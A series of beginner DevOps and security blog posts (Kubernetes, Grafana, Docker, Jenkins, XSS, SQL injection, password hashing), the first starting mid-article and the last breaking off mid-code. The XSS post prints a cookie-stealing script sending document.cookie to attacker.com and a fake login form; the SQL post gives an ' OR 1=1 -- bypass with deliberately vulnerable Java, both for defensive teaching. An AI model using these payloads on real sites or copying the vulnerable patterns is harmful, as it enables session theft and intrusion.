Extract your cluster access token:

sudo microk8s kubectl describe secret -n kube-system microk8s-dashboard-token

Spin up the connection bridge utility to forward cluster resources through to your host:

sudo microk8s dashboard-proxy

Open your Windows web browser, navigate to https://127.0.0.1:10443, bypass the browser certificate safety warnings, and paste your authorization token. You're in!

📦 Phase 2: Containerizing Your Java Web App

Kubernetes does not manage code files directly; it orchestrates containers. We need to wrap your compiled application file into an official application server baseline.

1. Establish Your Workspace

Create a folder structure inside Ubuntu to hold your codebase assets and copy your file over:

mkdir -p /mnt/c/MyDomain/TECH/kubernetes/allwork/kubernetes-java-app
cd /mnt/c/MyDomain/TECH/kubernetes/allwork/kubernetes-java-app

2. Crafting the Dockerfile Blueprint

Create a raw text blueprint named Dockerfile to map out the Tomcat 10 installation parameters:

## Use official Tomcat 10 with Java 17 as the base foundation
FROM docker.io/tomcat:10.1-jre17

## Clean out the default placeholder webapps to prevent conflicts
RUN rm -rf /usr/local/tomcat/webapps/*

## Copy your local WAR file from your directory into Tomcat's deployment folder
COPY mywebprojectwar.war /usr/local/tomcat/webapps/

## Inform the container environment to expose Tomcat's web port
EXPOSE 8080

3. Compiling the Image Package

Because MicroK8s focuses purely on execution workloads, use buildah to safely handle compilation layers on Ubuntu:

sudo apt update && sudo apt install -y buildah
sudo buildah bud -t my-java-app:v1 .

🧬 Phase 3: The Local Sideloading Blueprint

If you try to run your containers right now, you will hit an immediate wall: ErrImageNeverPull. MicroK8s isolates local terminal compiles away from the live Kubernetes runtime container pools (k8s.io namespace).

Here is the exact side-loading injection pattern that guarantees a perfect local import:

1. Build a Standard Archive

Export the image into an unmanaged, standardized archive on your hard drive:

rm -f my-java-app.tar
sudo buildah push my-java-app:v1 docker-archive:my-java-app.tar:my-java-app:v1

2. Stream into Cluster Core Memory

Use the high-level MicroK8s packaging command along with a file stream director (<) to automatically unpack the elements straight into the cluster namespace:

sudo microk8s images import < my-java-app.tar

3. Verify Your Cache Identifiers

Query the exact internal text string that the cluster engine assigned to your package:

sudo microk8s ctr --namespace=k8s.io image list | grep managed

You will notice your file carries the string tag localhost/my-java-app:v1 bound to a specific runtime permission marker (io.cri-containerd.image=managed).

🎼 Phase 4: Defining the Orchestration Layout (YAML)

Now we write the declarative automation file. We want 2 separate copies (replicas) of Tomcat spinning up simultaneously, sitting safely behind a single load-balancing endpoint.

Create a file named app-deployment.yaml:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: java-app-deployment
  labels:
    app: my-java-web-app
spec:
  replicas: 2
  selector:
    matchLabels:
      app: my-java-web-app
  template:
    metadata:
      labels:
        app: my-java-web-app
    spec:
      containers:
      - name: tomcat-container
        image: localhost/my-java-app:v1
        imagePullPolicy: Never # Forces K8s to look only at your hard drive cache
        ports:
        - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: java-app-service
spec:
  type: ClusterIP
  selector:
    app: my-java-web-app
  ports:
  - port: 8080
    targetPort: 8080

Fire up the structural blueprints into the cluster engine:

sudo microk8s kubectl apply -f app-deployment.yaml

🕵️ Phase 5: Verification & Stepping Inside the Matrix

Track your applications as they boot up live into active server spaces:

sudo microk8s kubectl get pods -w

When successful, your console will print:

NAME                                   READY   STATUS    RESTARTS   AGE
java-app-deployment-56fd4d8d5f-ddd4n   1/1     Running   0          10s
java-app-deployment-56fd4d8d5f-n69wp   1/1     Running   0          10s

Stepping Inside the Pod Environments 🤯

Are those Tomcats really there? Let's physically step inside the isolated filesystem of each individual running node to verify:

## Step inside Pod 1
sudo microk8s kubectl exec -it java-app-deployment-56fd4d8d5f-ddd4n -- bash
ls -la /usr/local/tomcat/webapps
exit

## Step inside Pod 2
sudo microk8s kubectl exec -it java-app-deployment-56fd4d8d5f-n69wp -- bash
ls -la /usr/local/tomcat/webapps
exit

Each container runs its own isolated filesystem partition with independent copies of Tomcat 10 and your web project!

🌐 Phase 6: Routing Live Traffic to Windows

To view your load-balanced environment, map an open port on your host computer (like 9595) directly to your front-end Kubernetes service router:

sudo microk8s kubectl port-forward service/java-app-service 9595:8080

Keep that terminal active, switch to your Windows web browser, and access your custom project page:

http://localhost:9595/mywebprojectwar/index.jsp

Every click and refresh on that web address is now automatically round-robinned and load-balanced across your 2 independent Tomcat containers!

🧼 Phase 7: Leaving No Trace (The Clean Slate)

When you are done experimenting and want to reclaim your system RAM, CPU cycles, and disk blocks back to a "Zero Stage" without breaking your machine, use this cleanup checklist:

## 1. Drop Applications
sudo microk8s kubectl delete -f app-deployment.yaml
sudo microk8s kubectl delete service my-app-kubernetes 2>/dev/null
sudo microk8s kubectl delete deployment my-app-kubernetes 2>/dev/null

## 2. Reclaim Image Storage Space
rm -f ~/kubernetes-java-app/*.tar
sudo buildah rmi --all
sudo microk8s ctr --namespace=k8s.io image rm $(sudo microk8s ctr --namespace=k8s.io image ls -q) 2>/dev/null

## 3. Shutdown Subsystems
sudo microk8s disable dashboard registry
sudo microk8s stop

## 4. Factory Reset (Optional)
sudo snap remove microk8s --purge && sudo snap install microk8s --classic

🎯 Conclusion

Running Kubernetes inside WSL2 is a great way to build hands-on experience without needing cloud infrastructure or multiple virtual machines. While the setup introduces a few unique challenges—certificate configuration, image management, and networking—each issue has a straightforward solution once you understand how the pieces fit together.

In this guide, we built a complete local Kubernetes environment from scratch, containerized a Java web application using Buildah, deployed it on MicroK8s, scaled it with multiple replicas, and exposed it through a Kubernetes Service.

More importantly, we explored why each step was necessary rather than simply copying commands. Understanding concepts such as container runtimes, image namespaces, deployments, services, and port forwarding makes it much easier to troubleshoot real Kubernetes environments.

If you're beginning your Kubernetes journey, I hope this walkthrough saves you the hours of trial and error that I went through.

Grafana for Beginners: Build Your First Dashboard Using PostgreSQL and Docker

Sanjay Ghosh — Fri, 12 Jun 2026 04:41:57 +0000

As I continue exploring the DevOps ecosystem, I wanted to understand how monitoring and observability tools fit into the software delivery lifecycle.

Tools like Git, Jenkins, Docker, and Kubernetes are frequently discussed, but eventually every team reaches a common question:

How do we monitor what is happening after deployment?

That's where Grafana comes in.

Grafana is one of the most popular open-source visualization platforms used by development, operations, and Site Reliability Engineering (SRE) teams. It helps transform raw metrics into meaningful dashboards that provide insights into application performance, infrastructure health, and business metrics.

In this article, we'll build a complete working example from scratch:

Install Grafana using Docker
Create a PostgreSQL database
Insert sample metrics
Connect Grafana to PostgreSQL
Build a dashboard
Troubleshoot common connection issues

By the end, you'll have a fully functional Grafana dashboard running locally and a solid understanding of how Grafana fits into modern DevOps workflows.

What is Grafana?

Grafana is an open-source monitoring and visualization platform.

It connects to various data sources and transforms raw data into interactive dashboards and alerts.

Grafana itself does not store monitoring data. Instead, it reads data from external systems such as:

PostgreSQL
MySQL
Prometheus
Elasticsearch
Loki
AWS CloudWatch
InfluxDB

A simplified architecture looks like this:

Database / Monitoring Tool
            |
            v
         Grafana
            |
            v
       Dashboards
            |
            v
          Alerts

Where Grafana Fits in DevOps

Grafana is used throughout the DevOps lifecycle.

Development

Performance analysis
Debugging bottlenecks
Resource utilization monitoring

Testing

Monitor test environments
Validate application behavior

CI/CD

Monitor deployments
Track build success rates
Visualize pipeline metrics

Production

Infrastructure monitoring
Application Performance Monitoring (APM)
Alerting and incident management

Step 1: Install Grafana Using Docker

Pull the Grafana image:

docker pull grafana/grafana

Verify:

docker images

Run Grafana:

docker run -d \
  --name grafana \
  -p 3000:3000 \
  grafana/grafana

Verify the container:

docker ps

Example:

0.0.0.0:3000->3000/tcp

Open:

http://localhost:3000

Default credentials:

Username: admin
Password: admin

Grafana will prompt you to change the password during the first login.

Screenshot of login:

Step 2: Create a PostgreSQL Database

Create a database:

CREATE DATABASE grafana_demo;

Connect:

\c grafana_demo

Create a table:

CREATE TABLE system_metrics
(
    id SERIAL PRIMARY KEY,
    metric_time TIMESTAMP,
    cpu_usage NUMERIC(5,2)
);

Verify:

\d system_metrics

Step 3: Insert Sample Metrics

Insert some sample CPU usage data:

INSERT INTO system_metrics(metric_time, cpu_usage)
VALUES
(NOW() - INTERVAL '9 minutes',15),
(NOW() - INTERVAL '8 minutes',18),
(NOW() - INTERVAL '7 minutes',25),
(NOW() - INTERVAL '6 minutes',30),
(NOW() - INTERVAL '5 minutes',45),
(NOW() - INTERVAL '4 minutes',50),
(NOW() - INTERVAL '3 minutes',42),
(NOW() - INTERVAL '2 minutes',55),
(NOW() - INTERVAL '1 minute',60),
(NOW(),48);

Verify:

SELECT *
FROM system_metrics;

Step 4: Connect Grafana to PostgreSQL

Navigate to:

http://localhost:3000/datasources

Choose:

PostgreSQL

Use:

Host:
host.docker.internal:5432

Database:
grafana_demo

User:
postgres

Password:
your_password

Save and test the connection.

Screenshot of connection:

Step 5: Create Your First Dashboard

Navigate to:

Dashboards
→ New Dashboard
→ Add Visualization

Select your PostgreSQL data source.

Switch to Code Mode and execute:

SELECT
    metric_time AS "time",
    cpu_usage AS value
FROM system_metrics
ORDER BY metric_time;

Click:

Run Query

Grafana automatically plots the data.

Screenshot of graph:

Common Connection Problem

One of the most common errors is:

Network error:
Failed to connect to the server

Example:

dial tcp:
lookup host.docker.internal:
no such host

Verify PostgreSQL Settings

Check:

SHOW listen_addresses;

SHOW port;

You may see:

listen_addresses = localhost

This means PostgreSQL only accepts local connections.

Grafana running inside Docker cannot reach it.

Fix PostgreSQL Connectivity

Locate the configuration file:

sudo -u postgres psql -c "SHOW config_file;"

Example:

/etc/postgresql/16/main/postgresql.conf

Modify:

listen_addresses='*'

Update:

/etc/postgresql/16/main/pg_hba.conf

Add:

host all all 0.0.0.0/0 scram-sha-256

Restart PostgreSQL:

sudo systemctl restart postgresql

Or:

sudo service postgresql restart

Verify:

SHOW listen_addresses;

Expected:

Find the Host IP Address

If host.docker.internal does not work:

hostname -I

Example:

172.21.xxx.xxx

Use that IP address as the Grafana host connection.

Grafana vs Prometheus

A common beginner question is:

Do I need Prometheus?

The answer depends on your use case.

Prometheus
-----------
Collects Metrics

Grafana
--------
Visualizes Metrics

Prometheus and Grafana are frequently used together.

Grafana + Jenkins

Grafana can also monitor Jenkins pipelines when combined with Prometheus exporters.

Learning Path

Install Grafana
       |
       v
Connect Data Source
       |
       v
Run Queries
       |
       v
Create Dashboard
       |
       v
Create Alerts
       |
       v
Production Monitoring

Final Thoughts

Grafana is one of the most valuable tools in the modern DevOps ecosystem because it turns raw operational data into actionable insights.

Even with a simple PostgreSQL database and a handful of records, we can create meaningful visualizations and begin understanding trends, performance characteristics, and system behavior.

In real-world environments, Grafana is often integrated with:

Prometheus for metrics collection
Jenkins for CI/CD monitoring
Docker and Kubernetes for container monitoring
Loki for centralized logging
Cloud platforms such as AWS, Azure, and Google Cloud

This article focused on the fundamentals using PostgreSQL because it provides an easy way to understand how Grafana connects to a data source and transforms query results into visual dashboards.

Once you're comfortable with this setup, the next logical steps are:

Grafana + Prometheus
Grafana + Jenkins
Grafana + Docker Metrics
Grafana + Kubernetes
Grafana + Loki

Those integrations unlock the full power of observability and provide the continuous feedback loop that modern DevOps teams depend on.

I hope this walkthrough helps you build your first Grafana dashboard and serves as a foundation for deeper monitoring and observability projects.

Understanding Docker Using a Tiny Python Application (A Beginner-Friendly Walkthrough)

Sanjay Ghosh — Sun, 07 Jun 2026 18:46:39 +0000

Many Docker tutorials immediately introduce Docker Compose, Kubernetes, networking, volumes, and multi-container applications.

For beginners, that can feel overwhelming.

In this article, we'll build a very small Docker image that runs a simple Python script. The goal is to understand the core Docker concepts before moving on to more advanced containerization topics.

By the end of this tutorial, you'll understand:

What Docker is
What a container is
How Docker images work
How to build an image
How to run a container
The difference between an image and a container

Why Docker?

One common problem in software development is:

"It works on my machine."

An application may work perfectly on a developer's computer but fail on another machine because of missing libraries, different operating systems, or incompatible software versions.

Docker solves this problem by packaging:

Application code
Runtime
Libraries
Dependencies
Configuration

into a single portable unit called a container.

As long as Docker is installed, the application can run consistently across environments.

Docker in Simple Terms

A useful analogy is:

Docker Image  = Blueprint
Docker Container = House Built From The Blueprint

An image is a template.

A container is a running instance created from that image.

You can create multiple containers from the same image.

Installing Docker on Ubuntu

Update package information:

sudo apt update

Install Docker:

sudo apt install docker.io

Verify the installation:

sudo docker run hello-world

You should see a welcome message from Docker.

Running Docker Without sudo

Add your user to the Docker group:

sudo usermod -aG docker $USER

Log out and log back in.

Now Docker commands can be executed without sudo.

Environment

The following environment was used:

Ubuntu 24.04 LTS
Docker 29.1.3
Python 3.x

Project Structure

docker-python-app/
│
├── test.py
└── Dockerfile

Our Tiny Python Application

Create:

test.py

Contents:

print("This is a test")

Normally, the script can be executed using:

python3 test.py

Now we'll run the same application inside a Docker container.

Creating a Dockerfile

Create a file named:

Dockerfile

Contents:

FROM ubuntu:latest

WORKDIR /docker-apps

COPY ./test.py .

RUN apt update && apt install python3 -y

CMD ["python3", "./test.py"]

Docker builds images layer by layer by processing each instruction in the Dockerfile from top to bottom.

Let's understand each instruction.

FROM

FROM ubuntu:latest

Uses Ubuntu as the base image.

WORKDIR

WORKDIR /docker-apps

Sets the working directory inside the container.

COPY

COPY ./test.py .

Copies the Python script into the container.

RUN

RUN apt update && apt install python3 -y

Installs Python inside the image.

CMD

CMD ["python3", "./test.py"]

Specifies the command executed when the container starts.

Building the Docker Image

Build the image:

docker build -t ubuntu-python .

Docker reads the Dockerfile and creates an image named:

ubuntu-python

Verify:

docker images

You should see the newly created image.

Running the Container

Create and start a container:

docker run -it -d --name test-container ubuntu-python

Verify:

docker ps -a

View container logs:

docker logs test-container

Expected output:

This is a test

Congratulations! You have successfully executed a Python application inside a Docker container.

Screenshot

Docker Workflow

test.py
      ↓
Dockerfile
      ↓
docker build
      ↓
Docker Image
      ↓
docker run
      ↓
Docker Container
      ↓
This is a test

This same workflow is used for much larger applications.

Image vs Container

One of the most important Docker concepts is understanding the difference between an image and a container.

Image

An image is:

Read-only
A template
Used to create containers

Example:

ubuntu-python

Container

A container is:

Running or stopped
Created from an image
The actual execution environment

Example:

test-container

A single image can create many containers.

Useful Docker Commands

Stop a container:

docker stop <container_name_or_id>

Remove a container:

docker rm <container_name_or_id>

Force remove a container:

docker rm -f <container_name_or_id>

Remove all stopped containers:

docker container prune

List images:

docker images

List containers:

docker ps -a

The Most Important Lesson

One of the biggest misconceptions among beginners is that Docker is a virtual machine.

It is not.

Containers share the host operating system kernel, making them much lighter and faster than traditional virtual machines.

Docker packages applications and their dependencies in a portable and isolated way without requiring a full guest operating system.

Understanding this distinction is one of the key concepts in containerization.

💡 Key Takeaway
Docker does not replace your application.

Docker packages your application together with its runtime and dependencies so it can run consistently across different environments.

Understanding the difference between an image and a container is one of the most important Docker concepts.

Future Enhancements

Once comfortable with this example, you can explore:

Docker volumes
Docker networking
Docker Compose
Multi-container applications
Docker Hub
Jenkins + Docker integration
Kubernetes

The concepts learned in this article form the foundation for all of them.

Final Thoughts

Docker can seem intimidating when first encountered through large production deployments.

Starting with a tiny application makes the learning process much easier.

A simple Python script is enough to understand:

Images
Containers
Dockerfiles
Build process
Container execution

Once these fundamentals become clear, moving toward real-world containerized applications becomes much more natural.

If you're new to Docker, try building this example yourself before moving on to Docker Compose, Kubernetes, or cloud deployments. The concepts learned here will transfer directly to larger containerized systems.

Understanding Jenkins CI/CD Using a Tiny Java Project (A Beginner-Friendly Walkthrough)

Sanjay Ghosh — Mon, 01 Jun 2026 04:13:19 +0000

Understanding Jenkins CI/CD Using a Tiny Java Project

Most Jenkins tutorials immediately jump into Docker, Kubernetes, Maven, cloud deployments, and enterprise-scale architectures.

For someone learning CI/CD for the first time, that can become overwhelming very quickly.

In this article, we'll build a very lightweight but real Jenkins pipeline using a simple Java application. The goal is to understand how Jenkins works behind the scenes before introducing more advanced DevOps tools.

This example demonstrates:

Pipeline stages
Compilation
Program execution
Artifact generation
Artifact archiving
Jenkins workspace concepts
Console output debugging

without introducing unnecessary complexity.

Why This Example?

Whether you're building:

A Java application
A Spring Boot service
A Docker image
A Kubernetes deployment

the fundamental Jenkins workflow remains largely the same:

Source Code
    ↓
Build
    ↓
Test
    ↓
Package
    ↓
Deploy

Understanding this flow first makes learning advanced CI/CD concepts much easier.

Figure 1: Simplified Jenkins CI/CD flow used throughout this tutorial.

Environment

The following environment was used:

Ubuntu 24.04 LTS
OpenJDK 17
Git
Jenkins

Jenkins Installation

Before creating Jenkins pipelines, Jenkins must be installed on the system.

Since Jenkins runs on Java, Java must be installed first.

Update Package Information

sudo apt update

Verify Java Installation

java -version

If Java is not installed:

sudo apt install openjdk-17-jdk

Verify Java again:

java -version

Add Jenkins Repository Key

curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee \
/usr/share/keyrings/jenkins-keyring.asc > /dev/null

Add Jenkins Repository

echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] \
https://pkg.jenkins.io/debian-stable binary/ | sudo tee \
/etc/apt/sources.list.d/jenkins.list > /dev/null

Update Package Information Again

sudo apt update

Install Jenkins

sudo apt install jenkins

Start Jenkins Service

sudo systemctl start jenkins

Enable Jenkins at Startup

sudo systemctl enable jenkins

Verify Jenkins Status

sudo systemctl status jenkins

Open Jenkins in Browser

http://localhost:8080

During the first login, Jenkins requests an administrator password.

Retrieve it using:

sudo cat /var/lib/jenkins/secrets/initialAdminPassword

Copy the password and complete the Jenkins setup wizard.

Project Structure

The project is intentionally very small.

calculator-app/
│
├── src/
│   └── Main.java
│
└── Jenkinsfile

Java Application

Create:

src/Main.java

public class Main {

    public static void main(String[] args) {

        int a = 10;
        int b = 20;

        int sum = a + b;

        System.out.println("Sum = " + sum);
    }
}

When executed:

Sum = 30

Although the application is tiny, it exercises the same Jenkins concepts used in larger CI/CD pipelines.

Jenkins Pipeline

Create:

Jenkinsfile

pipeline {

    agent any

    stages {

        stage('Preparation') {
            steps {
                echo 'Preparing build environment...'
            }
        }

        stage('Compile') {
            steps {

                dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

                    echo 'Compiling Java program...'

                    sh 'javac src/Main.java'
                }
            }
        }

        stage('Run Program') {
            steps {

                dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

                    echo 'Running Java program...'

                    sh 'java -cp src Main > output.txt'
                }
            }
        }

        stage('Archive Output') {
            steps {

                dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

                    archiveArtifacts artifacts: 'output.txt'
                }
            }
        }

        stage('Deploy Simulation') {
            steps {
                echo 'Deploying application...'
            }
        }
    }

    post {

        success {
            echo 'Pipeline executed successfully!'
        }

        failure {
            echo 'Pipeline failed!'
        }
    }
}

Note

For simplicity, this tutorial uses a hardcoded project path:
dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app')
This was intentionally done to demonstrate an important Jenkins workspace concept and keep the example lightweight.

In real-world CI/CD pipelines, Jenkins typically checks out source code directly from a Git repository into its workspace.

A more typical approach would look like:
stage('Checkout') {
    steps {
        git 'https://github.com/your-username/calculator-app.git'
    }
}

stage('Compile') {
    steps {
        sh 'javac src/Main.java'
    }
}
The purpose of this article is to focus on understanding pipeline execution, workspaces, artifacts, and build flow before introducing Git integration.

Understanding Each Stage

Preparation

echo 'Preparing build environment...'

This stage simulates environment preparation.

In larger projects, this could include:

Loading credentials
Installing dependencies
Setting environment variables

Compile

sh 'javac src/Main.java'

Compiles the Java source code.

If compilation fails, the pipeline stops immediately.

Run Program

sh 'java -cp src Main > output.txt'

Executes the application and redirects the output to:

output.txt

Contents:

Sum = 30

Archive Output

archiveArtifacts artifacts: 'output.txt'

Stores the generated file inside Jenkins for later access.

Deploy Simulation

echo 'Deploying application...'

In a production pipeline, this stage could:

Deploy Docker containers
Copy files to servers
Deploy applications to Kubernetes
Restart services

Creating the Jenkins Pipeline Job

After logging into Jenkins:

Click:

New Item

Enter:

calculator-pipeline

Select:

Pipeline

Click OK
Under:

Definition

Choose:

Pipeline Script

Paste the Jenkinsfile content.
Save.
Click:

Build Now

CI/CD Flow Visualization

          Java Source Code
                  │
                  ▼
      Jenkins Pipeline Starts
                  │
                  ▼
             Compile
                  │
                  ▼
             Execute
                  │
                  ▼
        Generate Artifact
                  │
                  ▼
        Archive Artifact
                  │
                  ▼
          Post Actions

Although this example is small, enterprise pipelines follow the same basic pattern.

Understanding Jenkins Workspaces

One of the most important Jenkins concepts is the workspace.

When Jenkins executes a build, it typically runs inside:

/var/lib/jenkins/workspace/calculator-pipeline

My initial build failed because Jenkins could not locate:

src/Main.java

The source code existed outside the Jenkins workspace.

The solution was:

dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

    sh 'javac src/Main.java'
}

This temporarily changes the working directory before executing commands.

Understanding workspaces will save significant debugging time when building larger pipelines.

Console Output

A successful build produced output similar to:

Preparing build environment...
Compiling Java program...
Running Java program...
Pipeline executed successfully!

The Jenkins Console Output page is often the first place you'll inspect when troubleshooting build failures.

Generated Artifact

The pipeline generated:

output.txt

Contents:

Sum = 30

Real-world pipelines commonly generate:

JAR files
WAR files
Test reports
Coverage reports
Docker images
Deployment packages

The concept remains identical.

The Most Important Lesson

💡 Key Takeaway

Jenkins does not compile Java, build Docker images, or deploy applications itself.

Jenkins is an automation server that orchestrates external tools and commands.

Understanding this distinction is one of the most important concepts in DevOps and CI/CD.

When Jenkins executes:

sh 'javac src/Main.java'

it is simply asking the operating system to run the Java compiler.

Likewise:

sh 'docker build .'

asks Docker to build an image.

Jenkins orchestrates tools—it does not replace them.

Understanding this distinction is fundamental to learning DevOps and CI/CD.

Future Enhancements

Once comfortable with this example, you can gradually introduce:

Git integration
Automatic build triggers
Maven builds
Unit testing
Docker integration
Tomcat deployment
Kubernetes deployment
Full CI/CD automation

The core Jenkins concepts remain exactly the same.

Final Thoughts

Many engineers first encounter Jenkins through large enterprise pipelines that can feel intimidating.

Starting with a tiny project makes the learning process much easier.

A simple Java application is enough to understand:

Pipeline stages
Build execution
Artifacts
Workspaces
Automation flow

Once these fundamentals become clear, moving toward Docker, Kubernetes, and enterprise CI/CD becomes much more natural.

Sometimes the best way to understand a large system is to begin with the smallest possible working example.

If you're new to Jenkins, try building this example yourself before moving on to Maven, Docker, or Kubernetes. The concepts learned here will transfer directly to larger CI/CD pipelines.

XSS Explained: How Attackers Execute JavaScript Inside Your Application

Sanjay Ghosh — Tue, 05 May 2026 22:30:33 +0000

Hook

What if an attacker could execute JavaScript inside your users’ browsers — using nothing more than a comment box?
That’s exactly what Cross-Site Scripting (XSS) enables.

Let’s break down how this actually happens in real applications.

What is XSS?

The flow of a typical XSS attack is illustrated above.

Cross-Site Scripting happens when an application renders untrusted user input directly into a web page.
Instead of displaying the input as plain text, the browser interprets it as executable JavaScript.

This allows attackers to run malicious code in another user’s browser — under your application’s trusted domain.

Types of XSS

✔ Stored XSS
Attacker submits malicious input.
Application stores it in database.
Every user who loads the page executes it.

Example scenario:
Comment section
✔ Reflected XSS
Input comes from request (URL/form)
Reflected immediately

Example:
Search page
✔ DOM-based XSS
No server involvement.
Client-side JavaScript inserts attacker-controlled data into DOM.
While these types differ in how the payload is delivered, the core issue is the same: untrusted input is executed as code.

Practical Example

❌ Vulnerable Example (Java/JSP)
String comment = request.getParameter("comment"); saveComment(comment);
Later Rendered:
<div><%= comment %></div>
The application assumes the comment is harmless text.
But the browser has no way to know that.

💥 Attack Input
<script>alert('XSS')</script>
When rendered:
<div><script>alert('XSS')</script></div>

Browser executes it.
The browser has no way to distinguish between legitimate code and attacker-injected code.
Instead of displaying text, the browser executes JavaScript.

Escalate Attack (Attacker Mindset)

Cookie Theft Example

<script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script>
This sends victim session cookies to attacker.
If session cookies are not protected, attacker may hijack active sessions.
This works because browsers automatically include cookies with requests to the same domain.

Fake Login Form

<script> document.body.innerHTML = '<h2>Session Expired</h2><input placeholder="Password">'; </script>
Attacker replaces page content with fake UI.
Users unknowingly enter credentials.

Real Impact

Session hijacking

Attacker steals authenticated session.

Account takeover

Victim account accessed without password.

Data theft

Sensitive page data can be extracted.

Phishing inside app
This is especially dangerous because users trust your domain.
Users are far more likely to trust fake prompts when they appear inside a legitimate application they already trust.

The dangerous part about XSS is that it doesn’t attack your backend — it exploits the trust between your application and your users.

How to Prevent XSS

✅ Output Encoding

Escape special characters
Convert < →<
👉 Key idea:
Treat user input as data, not HTML
Unsafe:
<div><%= userInput %></div>

Safe:
<div><c:out value="${userInput}" /></div>

Special characters become text:
<script> becomes visible text instead of executable code.

Method	Browser Sees (Source Code)	Browser Does
`<c:out>`	`<script>evil()</script>`	Displays literal text on screen.
`<%= %>`	`<script>evil()</script>`	Executes the script immediately.

✅ Framework Protection

Modern frameworks escape by default.
React (safe)
<div>{userInput}</div>
Dangerous
<div dangerouslySetInnerHTML={{ __html: userInput }} />

Usually, when you render data in React using curly braces {userContent}, React automatically escapes the content. This means it treats everything—including HTML tags—as literal text, preventing malicious scripts from executing.

When you use dangerouslySetInnerHTML, you are telling React to skip that protection and inject the raw string directly into the DOM

✅ ####Content Security Policy
Restrict script execution
Content-Security-Policy: default-src 'self'; script-src 'self';
Even if script injection happens, browser blocks unauthorized script execution.

Common Mistakes

Trusting user input

Never assume users behave correctly.

Using innerHTML

Unsafe:
element.innerHTML = userInput;
Safe:
element.textContent = userInput;

Disabling escaping

Framework protections exist for a reason.

Final Thoughts

Think like an attacker:

Ask:

Can I inject script here?
Will the browser execute it?
Can I steal trust from this page?

XSS is dangerous because it doesn’t attack your server directly — it attacks your users through your application.

If your application renders user input without proper encoding, you’re handing attackers control of your users’ browsers.

In XSS, the attacker doesn’t break your system — they use it against your users.

Always treat user input as data — never as code.

SQL Injection Explained: How Hackers Bypass Login Forms (and How to Stop Them)

Sanjay Ghosh — Sat, 25 Apr 2026 03:46:21 +0000

Even today, a single poorly written SQL query can allow an attacker to bypass authentication or expose sensitive data.

And the scary part? It often comes down to just one line of code.

In the previous articles, we saw how small implementation decisions can introduce serious vulnerabilities. SQL Injection is one of the clearest examples of this—simple to understand, yet still widely exploited.

What is SQL Injection?

SQL Injection occurs when untrusted user input is included directly in a SQL query.

Instead of being treated as data, the input is interpreted as part of the SQL command itself. This allows attackers to manipulate queries and control how the database behaves.

How SQL Injection Works

Consider a typical login query:
SELECT * FROM users WHERE username = 'input' AND password = 'input';
The application expects input to be normal user data.

But what if an attacker provides this instead?
' OR 1=1 --

OR 1=1 → always true
-- → comments out the rest of the query 👉 The database ends up executing a modified query that ignores authentication checks.

A Simple Login Bypass Example (Java)

Let’s look at how this vulnerability often appears in real code.

❌ Vulnerable Implementation

String username = request.getParameter("username");
String password = request.getParameter("password");

String query = "SELECT * FROM users WHERE username = '" 
             + username + "' AND password = '" + password + "'";

Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

⚠️ What’s the problem?

User input is directly concatenated into the SQL query
No separation between code and data
The database cannot distinguish between intended query logic and attacker input

💥 Attack Input

username: admin password: ' OR 1=1 --

💣 Resulting Query

SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --'
👉 The condition OR 1=1 is always true, so the query returns results regardless of the password.

Result: Authentication is bypassed.

Real-World Impact

SQL Injection is not just theoretical—it can lead to serious consequences:

Unauthorized login (authentication bypass)
Exposure of sensitive data
Modification or deletion of database records
Full database compromise

How to Prevent SQL Injection

Preventing SQL Injection is straightforward—but only if done correctly.

✅ 1. Use Prepared Statements (Java)

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);

ResultSet rs = pstmt.executeQuery();

👉 Why this works:

Query structure is fixed
User input is treated strictly as data, not executable SQL

✅ 2. Use ORM Frameworks (JPA / Hibernate)

User user = userRepository.findByUsernameAndPassword(username, password);

👉 ORMs generate parameterized queries internally, which helps reduce the risk of SQL injection when used correctly.

✅ 3. Input Validation (Defense-in-Depth)

Limit input length
Restrict allowed characters

⚠️ Important: Input validation alone is not sufficient to prevent SQL Injection.
Most SQL injection vulnerabilities don’t happen because developers don’t know about them — they happen because of small shortcuts taken under time pressure.

✅ 4. Principle of Least Privilege

Database users should have only the permissions they need
Avoid using admin/root credentials for application access

Common Mistakes to Avoid

Relying only on input validation
Manually escaping strings instead of using parameterized queries
Trusting frontend validation
Logging raw queries with sensitive data

Final Thoughts

SQL Injection isn’t a complex attack—it’s usually the result of a simple coding mistake.

But its impact can be severe.

As a developer, the takeaway is clear:
👉 Never trust user input
👉 Always separate data from code

Small decisions in how you write queries can determine whether your application is secure—or completely exposed.

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples)

Sanjay Ghosh — Sun, 19 Apr 2026 18:54:23 +0000

What if I told you that even if you hash passwords, an attacker might still crack them in seconds?

Authentication is one of the most critical parts of any application—and also one of the most misunderstood.

In this post, we’ll think like an attacker, break insecure implementations using Java examples, and then progressively strengthen our defenses using hashing and salting.
If you’ve ever stored a password using only hashing, your system may still be vulnerable.

🧠 1. Why Authentication Security Matters

When authentication fails, everything fails:

Account takeover
Data breaches
Privilege escalation

To build secure systems, we must first understand how attackers operate.

⚔️ 2. How Attackers Break Authentication

(i). Brute Force Attack

Attacker tries all possible passwords until one works.
👉 Works because:

Users choose weak passwords
Systems don’t limit attempts

(ii). Dictionary Attack

Instead of all combinations, attacker uses a list of common passwords:
123456 password admin welcome123

(iii). Rainbow Table Attack

Attacker precomputes hashes:
password → hash1 admin → hash2
Then instantly matches stolen hashes.
👉 Extremely fast if no salt is used

(iv). Session Attacks (brief)

Focus on hijacking authenticated sessions (cookies, tokens).
👉 Important, but outside this blog’s main focus.

🔴 3. Thinking Like an Attacker: Breaking Weak Authentication

3.1 Brute Force Simulation (Java)

package com.auth;

public class BruteForceDemo {

    public static void main(String[] args) {

        String actualPassword = "1234";

        for (int i = 0; i <= 9999; i++) {
            String guess = String.format("%04d", i);

